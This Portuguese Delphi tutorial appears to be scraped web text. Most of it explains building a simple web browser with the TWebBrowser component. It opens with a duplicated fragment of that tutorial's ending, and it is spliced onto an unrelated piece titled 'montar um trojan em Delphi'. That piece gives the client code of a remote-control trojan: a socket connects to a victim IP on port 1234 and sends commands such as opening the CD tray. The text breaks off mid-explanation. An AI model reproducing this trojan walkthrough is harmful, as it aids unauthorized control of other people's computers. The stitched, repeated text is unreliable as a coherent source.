web.GoForward;
Para o botão "Parar":
web.Stop;
E finalmente, o botão "Atualizar":
web.Refresh;
Salve, compile e rode seu programa. Navegue por algumas páginas, para testar. Para que os botões "Voltar" e "Avançar" realmente funcionem, você deverá navegar clicando em alguma coisa ( ou acessando outro endereço ), e depois clicar no "Voltar"
espero que gostem.......
Para inserir um painel, clique no componente "painel" da paleta de componentes, e clique uma vez dentro da tela da janela do programa (o formulário). Veja:
Componente Painel ( Panel em inglês )
Deverá ficar assim depois de inserido no formulário.Vamos ajustar algumas propriedades desse componente, para que ele fique
no topo, e sem o texto "Panel1" dentro. Clique uma vez nele para
seleciona-lo, e no inspetor de objetos ( a janela de propriedades do
objeto ), localize a propriedade "Caption". Remova o texto dela, deixando
assim:
Para que esse painel fique alinhado na parte superior da tela, localizenessa mesma janela a propriedade "Align", e deixe com o valor "alTop":
Agora insira o componente "TWebBrowser". Ele fica na guia "Internet" dapaleta de componentes do Delphi, normalmente é o último dessa guia. Não
o insira dentro do painel, mas sim fora, ou seja, clique nele uma vez,
depois clique na área livre do formulário.
Veja como ficará:
Ajuste a propriedade "Align" dele assim como você fez com o painel,
mas agora escolha "alClient". Isso faz com que ele ocupe toda a área
restante da tela, mesmo que o usuário maximize ou redimensione a janela.Vamos inserir uma barra de endereços simples ( não uma lista, por ser um tutorial para iniciantes nessa área ) e os botões "Voltar", "Avançar", "Parar" e "Atualizar". Selecione o componente "Button", da aba "Standard" dos componentes do Delphi, e insira-o dentro do painel. Agora sim, clique dentro do painel, para que ele fique "dentro" do painel. Se você colocá-lo fora, ele não acompanhará o local fixo no painel, por exemplo, podendo ficar fora do lugar dependendo do tamanho da janela.
Ficará assim:
Agora você já deve estar pegando mais intimidade com a inserção decomponentes. Insira mais três botões, ao lado desse. Você pode copiá-lo
e colar! Clique uma vez nele, ele ficará selecionado (o botão). Tecle
CTRL+C e depois CTRL+V, e ele será inserido dentro do painel, depois
tecle CTRL+V duas vezes para colar mais dois, e arraste cada um para os
seus lugares, de modo a deixar o visual organizado.
Agora altere os textos dos botões. Selecione um por um, localize a propriedade "Caption" no inspetor de objetos, e digite o texto desejado. Para nosso exemplo, coloque "Voltar" no primeiro botão, "Avançar" no segundo, "Parar" no terceiro e "Atualizar" no quarto.
Para inserir uma barra de endereços, clique no componente "Edit", da aba "Standard" da paleta de componentes, e insira-o também dentro do painel, logo abaixo dos botões ( redimensione o painel, se necessário, clicando nele e arrastando a linha inferior para baixo ). Redimensione o campo de texto ("Edit") até ficar com um tamanho razoável, para digitar um endereço da Internet. Com o "Edit" selecionado, remova o texto dele. Basta limpar o texto da propriedade "Text", pelo inspetor de objetos
Ficará assim:
Para não perder, salve o projeto. Clique no botão "Salvar tudo" do
Delphi, ou no menu "File > Save all", como é a primeira vez. Primeiro
salve o arquivo de projeto, de extensão ".dpr". Coloque o nome
principal do seu programa, de preferência sem espaço, será o mesmo nome
do executível. Por exemplo, "Navegador". Ao clicar em Salvar na janela
"Salvar", aparecerá uma outra, agora para salvar a unidade de código do
formulário, um arquivo ".pas". Pode deixar o padrão, "Unit1.pas", se
você quiser.O componente WebBrowser usa toda a estrutura do IE, como comentei no começo do arquivo. Para fazê-lo "funcionar", o que seu programa tem que fazer é chamar as funções corretas dele. Algumas são documentadas, outras creio que não... Mas para as mais comuns não há segredo.
Dica: para facilitar as referências, vamos renomear o WebBrowser para um nome mais curto. Selecione o quadro branco do IE, e altere a propriedade "Name" dele, pelo inspetor de objetos. Usarei aqui "web", um nome fácil de identificar e curtinho.
Selecione a barra de endereços, o "Edit1". Quando a pessoa digitar alguma coisa e teclar [enter], o navegador será chamado. Para isso, deveremos configurar o evento da barra de endereços responsável por reconhecer o [enter], e por chamar o navegador.
Selecione a barra de endereços, e vá para a aba "Events" do Object Inspector ( na mesma janela onde você altera os títulos, textos, propriedades dos componentes... ).
Nessa aba podemos personalizar os eventos dos objetos. Os eventos são
ações que podem ser realizadas pelo usuário ou pelo programa. Por
exemplo, quando o usuario clica num componente visual, o evento onClick é
chamado, e o código contido nele será executado. Se o usuário nunca
clicar nesse botão, esse código nunca seria executado. Para definir um
código, uma ação, quando o usuíário teclar [enter] no campo de texto,
devemos inserir os comandos no evento "onKeyDown", que pode ser
entendido como "aoApertarUmaTecla". Ele é chamado para todas as teclas
enquanto o componente de texto estiver com o foco, então deveremos
também incluir um verificador, para verificar se a tecla pressionada foi
[enter]. Se for, faremos uma chamada ao componente do navegador para
abrir o endereço digitado. Se não for, não faremos nada e deixaremos o
usuário terminar de digitar.Localize o evento "onKeyDown" ( não se esqueça de selecionar o "Edit1" antes ), e dê um duplo clique no quadrinho em branco à sua esquerda, onde você percebe que pode digitar algo:
o Delphi já preparará toda a estrutura para você digitar os comandos. Digite isso, entre o begin e o end:if Key = VK_RETURN then
web.Navigate(Edit1.Text);
Compile o programa e execute-o, digitando qualquer site na barra de endereços, e tecle [enter]. Se der erro na compilação e o programa não rodar, verifique todos os passos descritos, observando a mensagem de erro na tela do Delphi, que normalmente reporta o que ocorreu ou pelo menos a linha.
Agora vamos definir as ações dos botões. O evento onClick deles é o evento padrão, por ser o mais intuitivo para um botão: fazer alguma coisa quando o usuário clicar nele. Como é o evento padrão, basta dar um duplo clique sobre cada botão, para digitar o evento para ele. Mas nada impede que você o faça selecionando o botão, e dando um duplo clique no evento "onClick", da aba "Events" do Object Inspector.
Essa parte será bem fácil, pois cada botão apenas chamará um método do componente do navegador, que no caso, é gerenciado pelo motor do Internet Explorer, ou seja, já está tudo programado.
Dê um duplo clique sobre o botão "Voltar", e digite:
web.GoBack;
Faça a mesma coisa para o botão "Avançar", digitando:
web.GoForward;
Para o botão "Parar":
web.Stop;
E finalmente, o botão "Atualizar":
web.Refresh;
Salve, compile e rode seu programa. Navegue por algumas páginas, para testar. Para que os botões "Voltar" e "Avançar" realmente funcionem, você deverá navegar clicando em alguma coisa ( ou acessando outro endereço ), e depois clicar no "Voltar"
espero que gostem.......
montar um trojan em Delphi
1º Passo -> Você tem o Delphi? Se não, será necessário baixá-lo.
2º Passo -> Abra o Delphi. Clique em Component, depois em vá em Install Packages…
Depois cliques em Add….
Em Filename coloque isso e depois clique em Open:
%programfiles%\Borland\Delphi7\Bin\dclsockets70.bp l
Ou o diretório do seu delphi + \Bin\dclsockets70.bpl. Isso serve para adicionar os componentes que serão necessarios para seu Trojan…
3º Passo -> Agora mãos a obra! Vá na paleta Standard e adicione 4 Buttons
Agora… insira um Edit que está na paleta Standard também
Depois insira um ClientSocket que está na paleta Internet.
Clique em um dos botões, e na parte esquerda, procure pela janela que o titulo é Object Inspector e depois procure por Caption.
E altere o conteudo da sua direita para Conectar, repita isso com os outros três botões, só que ao invés de colocar Conectar, coloque:
Desconectar, Abrir CD e Fechar CD.
Agora clique no Edit e vá na mesma janela anterior, só que dessa vez procure por Text. E remove o conteúdo da direita.
De uma arrumada na posição dos objetos a seu gosto… E lembresse, o Client Socket não vai aparecer… Eu arrumei assim:
4º Passo -> Agora que já fizemos a interface do Cliente, vamos codar! De dois cliques no botão Conectar. Abrirá uma nova janela, nela… escreva abaixo de begin isso:
ClientSocket1.Host := Edit1.Text;
ClientSocket1.Port := 1234;
ClientSocket1.Active := True;
Explicando… a primeira linha… vai definir o IP que você vai atacar, como o texto do edit que você inseriu, a segunda linha, vai definir como a porta a ser aberta, como 1234, e a terceira se conectará.
Agora vá a janela anterior… E de dois cliques no botão Desconectar, e coloque isso:
ClientSocket1.Active := False;
ClientSocket1.Close;
Explicando… a primeira linha… vai desconectar o Cliente do servidor, e a segunda… vai fechar o cliente.
Volte a janela anterior e dê dois cliques no botão Abrir CD, e coloque isso:
ClientSocket1.Socket.SendText(’1′);
Explicando… essa linha fará com que o Client Socket, envie o texto com o número 1 para o servidor, e lá, esse texto será reconhecido
